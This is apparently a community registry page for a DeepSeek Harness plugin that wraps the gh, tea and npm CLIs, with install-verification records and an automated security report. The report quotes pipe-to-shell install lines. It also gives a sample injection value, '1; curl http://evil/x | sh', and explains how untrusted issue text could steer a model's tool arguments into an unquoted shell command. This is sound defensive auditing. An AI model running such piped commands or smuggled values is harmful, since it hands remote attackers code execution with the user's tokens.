Install verification: runtime verified (L5) · tested on dsh 0.2.2-rc.3 · last checked Install verification details →
Showing badges for the 5 most recent dsh versions; older ones are hidden.
Data as of (UTC)
What it doesAI
Provides GitHub, Gitea, and npm CLI tools for DeepSeek Harness with guided auth, config, issue, and package tools.
- Guided authentication and configuration for gh, tea, npm
- Manage GitHub and Gitea issues from the CLI
- Package tools for the npm ecosystem
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add @tommyfang/gh-tea-npm-dshInstall method: npm · runtime verified (L5)
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
8 samples (roughly every 7 days), 3 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-18 → 11-08 · 8 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-02 → 11-08 · 7 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
09-13 → 11-15 · 57 points
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
09-13 → 11-16 · 58 points
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.2-rc.3 current | dsh 0.2.2-rc.1 | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 |
|---|---|---|---|---|---|
| 0.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
0.1.0npm✓ 13 runtime-verified2026-11-14
@tommyfang/gh-tea-npm-dsh
✓dsh 0.2.2-rc.3current2026-11-14L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.3
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.2-rc.3 · profile: l4-sandbox
Issued: 2026-11-14 · expires: 2026-11-21
View checks & evidence
active in loader tree (206 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.2-rc.12026-11-06L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.1
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.2-rc.1 · profile: l4-sandbox
Issued: 2026-11-06 · expires: 2026-11-13
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-rc.52026-11-01L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.1-rc.5 · profile: l4-sandbox
Issued: 2026-11-01 · expires: 2026-11-08
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-rc.32026-10-27L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-27 · expires: 2026-11-03
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-rc.22026-10-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-20 · expires: 2026-10-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.42026-10-18L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-18 · expires: 2026-10-25
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.22026-10-12L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-12 · expires: 2026-10-19
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.0-rc.22026-10-09L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.7-rc.22026-09-25L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.1.7-rc.2 · profile: l3-fullscan
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.7-alpha.22026-09-23L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.1.7-alpha.2 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.22026-09-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.12026-09-16L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-16 · expires: 2026-09-23
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓prehistory2026-09-30L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · @tommyfang/gh-tea-npm-dsh@0.1.0
ID: gh-tea-npm-dsh@0.1.0@dshunknown · profile: l3-fullscan
Issued: 2026-09-30 · expires: 2026-10-07
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge)``[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge-install)``[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge-install)``[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge-install)``[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge-install)``[](https://www.dsh.so/artifact/gh-tea-npm-dsh/?ref=badge-install)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic medium (authoritative when present) → overall medium.
v0.1.0dsh manifest0.1.0npm2026-11-170.1.0same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (4)
- criticalpipeShell · shell
dsh/index.js:103'curl -sS https://webi.sh/gh | sh', - warningchildProcess · code-exec
dsh/index.js:40child = spawn('/bin/sh', ['-c', cmd], { - warningchildProcess · code-exec
dsh/index.js:188const child = spawn('/bin/sh', ['-c', loginCmd], { - warningcurlDownload · network
dsh/index.js:119'curl -fsSL "https://dl.gitea.com/tea/tea-$os-$arch" -o "$HOME/.local/bin/tea"',
show 3 audit findings
- mediumUnquoted issue number is interpolated into a /bin/sh -c command string
dsh/index.js:438`const n = String(args.number)` is placed into the shell command without q() quoting. Tool arguments come from the model and can be steered by untrusted issue/repo text; if the harness does not enforce the declared `type: 'integer'`, a value such as `1; curl http://evil/x | sh` is executed with the user's privileges (gh/tea tokens, filesystem). The same unquoted `${n}` pattern appears in gitclis_issue_comment (line ~492), gitclis_issue_close (~515, ~520, ~521) and gitclis_issue_reopen (~544, ~549, ~550); every other string argument is wrapped in q().
- mediumInstaller pipes a remote script into sh and downloads a binary without integrity checks
dsh/index.js:103When Homebrew is absent, gitclis_install runs a model-triggered shell script that fetches and immediately executes remote content (webi.sh) and drops a downloaded binary into ~/.local/bin with chmod +x, with no checksum, signature or version pinning. Whoever controls DNS/TLS termination or the remote host at that moment gets code execution as the user.
- lowAuth tokens are passed as command-line arguments and routed through the model conversation
dsh/index.js:348Quoting is correct, but the token still lands in the child process argv (same line 161 does this with GITEA_TOKEN/TEA_TOKEN from the environment), so it is visible to other same-user processes and to process-audit logs. In addition, gitclis_set_token and npm_configure method=token require the secret to be supplied as a tool argument, i.e. it passes through the model transcript, contradicting the plugin's own skill guidance ('Never print a token back into the conversation'). gh auth login --with-token already uses stdin and shows the safer pattern.
Legit gh/tea/npm CLI wrapper; quoting is mostly correct, but unquoted issue numbers reach /bin/sh -c, installers run curl|sh unverified, and tokens travel via argv.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-08-15 · activity: Inactive
• Repo created: 2026-08-14
• Stars: ★ 3 · Forks: 0
• Health: Inactive — no commit in 90+ days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is gh-tea-npm-dsh?
gh-tea-npm-dsh is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install gh-tea-npm-dsh?
Run dsh plugin --profile web add @tommyfang/gh-tea-npm-dsh in a DeepSeek Harness (dsh) environment. That exact command passed a real install inside an isolated sandbox (L4) plus web smoke testing (L5).
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
